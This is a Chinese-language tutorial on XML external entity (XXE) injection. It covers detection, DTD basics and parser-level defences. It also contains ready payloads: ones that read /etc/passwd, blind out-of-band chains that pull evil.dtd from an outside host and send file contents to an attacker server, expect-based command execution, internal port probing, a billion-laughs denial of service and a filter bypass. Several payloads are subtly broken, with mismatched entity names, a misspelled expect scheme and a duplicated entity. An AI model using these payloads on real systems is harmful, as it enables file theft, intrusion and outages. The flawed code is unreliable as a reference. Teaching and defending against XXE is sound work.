如何检测XXE漏洞
首先存在漏洞的web服务一定是存在xml传输数据的,可以在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试,例如wsdl(web服务描述语言).或者一些常见的采用xml的java服务配置文件(spring,struts2).不过现实中存在的大多数xxe漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机.
- 使用Burpsuite插件 Generic XXE Detector 来自动检测XXE漏洞
- GET请求转换为POST请求,在Post中请求体中重新发送XML格式的数据
- 删除请求URL中的查询参数和路径参数,删除掉查询参数后,会触发终端服务接收其他格式作为输入的一种模式
- 添加Content-Type: application/xml请求头和一些不符合的无效XML作为请求体,可以得到XML的一些错误信息
XXE如何检测文章
XXE简介
XE(XML External Entity Injection) 全称为 XML 外部实体注入。
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站、DDOS攻击。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用.
一般格式为:
1 2 3
| <!DOCTYPE 根元素 [元素声明]>
<!DOCTYPE 根元素 SYSTEM "文件名">
|
DTD实体ENTITY,一般分为参数实体和内部实体;参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀;内部实体是指用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用;
1 2
| <!ENTITY 实体名称 "实体的值"> <!ENTITY 实体名称 SYSTEM "URI">
|
XML中实体的用法如下:
1 2 3
| <!DOCTYPE 文件名 [ //DTD <!ENTITY 实体名 "实体内容"> //DTD实体ENTITY ]>
|
XXE的攻击与防御
危害
- 读取任意文件
- 命令执行
- 内网探测/SSRF
- 攻击内网网站
- DDOS攻击
防御方法
方法1:
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
1 2
| DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
|
Python:
1 2
| from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
|
方法2:
过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
利用
1.读取任意文件
有回显
XML.php
1 2 3 4 5 6 7 8 9 10 11
| <?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
|
访问XML.php可以读取etc/passwd文件内容
无回显
当页面没有回显的话,可以将文件内容发送到远程服务器,然后读取。
1 2 3 4 5 6 7 8
| <?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd"> %f; ]> <a>&b;</a> $data = simplexml_load_string($xml); print_r($data);
|
远程服务器的evil.dtd文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
2.命令执行
php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装
1 2 3 4 5 6 7 8 9 10 11
| <?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
|
3.内网探测/SSRF
由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "http://192.168.0.100:80">]> <root> <name>&xxe;</name> </root>
|
该CASE是探测192.168.0.100的80端口,通过返回的“Connection refused”可以知道该81端口是close还是open.
4.攻击内网网站
攻击内网struts2网站,远程执行系统命令。
5.DDOS攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?xml version = "1.0" ?> <!DOCTYPE LOLZ [ <!ENTITY LOL "> <!ELEMENT LOLZ (#PCDATA)> <!ENTITY lol1 " > "LOL" > <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;" > <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;" > <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;" > <!ENTITY lol4 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;" > <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;" > <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;" > <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;" > <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;" > ]> <lolz > &lol9; </ lolz >
|
当XML解析器加载这个文档时,它会看到它包含一个包含文本&lol9;的根元素lolz。不过,&lol9; 是一个定义的实体,扩展为包含十个&lol8;”的字符串 字符串。每个&lol8; 字符串是一个定义的实体,扩展为十个&lol7; 字符串等等。在所有的实体扩展处理之后,这个小的(<1 KB)的XML块实际上将包含10 9 = 10 亿个lol,占用了几乎3 GB的内存。
构造外部外部实体注入的方法
1.直接通过DTD外部实体声明
xml内容:
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]> <a> <value>&passwd;</value> </a>
|
2.通过DTD文档引入外部DTD文档,再引入外部实体声明
xml内容:
1 2 3 4 5 6
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd"> %d; ]> <aaa>&b;</aaa>
|
DTD文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
3.通过DTD外部实体声明引入外部实体声明
xml内容:
1 2 3 4 5
| <?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY f SYSTEM "http://www.m03.com/evil.dtd"> ]> <a>&b;</a>
|
DTD文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
支持的协议有:
PHP在安装扩展以后还能支持的协议:
xml基础知识
- XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
- XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
简单的实例:
1 2 3 4 5 6 7
| <?xml version=”1.0″?> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don’t forget me this weekend!</body> </note>
|
文档的第一行是一个应该经常包含的XML申明,它定义了XML文档的版本号,在这个例子中表示文档将使用XML1.0的规范<?xml version=”1.0″?>
下一行定义了文档里面的第一个元素(element),也称第一个元素为根元素:
再下面定义了根元素的四个子元素(分别是to, from, heading,和body): Tove Jani Reminder
Don’t forget me this weekend!
最后一行定义了根元素的结束标志 ,所有的XML元素都必须要有一个结束标志。
DTD的概念
DTD文档类型定义,是一类可定义合法的XML文档构建模块。可以认为DTD定义了一种针对XML的格式描述,任何一个XML文件都可以引用。
XML提供了一个独立的运用程序的方法来共享数据.。使用DTD,不同的组中的人就能够使用共同的DTD来交换数据。你的应用程序可以使用这个标准的DTD来验证你接受到的数据是有效的。
上面引用过的那个XML转换成DTD的样式是这样:
DTD 可以在 XML 文档内声明,也可以外部引用。
1.内部声明:<!DOCTYPE 根元素 [元素声明]>
eg:
完整实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
|
2.外部声明(引用外部DTD):<!DOCTYPE 根元素 SYSTEM "文件名"> ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
完整实例:
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
|
而note.dtd的内容为:
1 2 3 4 5
| <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
|
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体
引用实体的方式:&实体名;
- 2.参数实体只能在DTD中使用,参数实体的声明格式:
引用实体的方式:%实体名;
1.内部实体声明: ex:
完整实例:
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY writer "Bill Gates"> <!ENTITY copyright "Copyright W3School.com.cn"> ]>
<test>&writer;©right;</test>
|
2.外部实体声明:
完整实例:
1 2 3 4 5 6
| <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> ]> <author>&writer;©right;</author>
|
blind xxe
当普通外部实体攻击得不到回显的时候,就可以使用带外数据通道。利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///C:/1.txt"> <!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml"> %remote; %all; ]> <root>&send;</root>
|
evil.xml如下:
1
| <!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">
|
当过滤了<!ENTITY我们该怎么办呢?
这里给个bypass思路:
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE svg SYSTEM "http://vps/xxe.dtd"> <root> <user>&xxe;</user> </root>
|
参考文章:
https://www.jianshu.com/p/7325b2ef8fc9
https://www.cnblogs.com/r00tuser/p/7255939.html
K0rz3n师傅的文章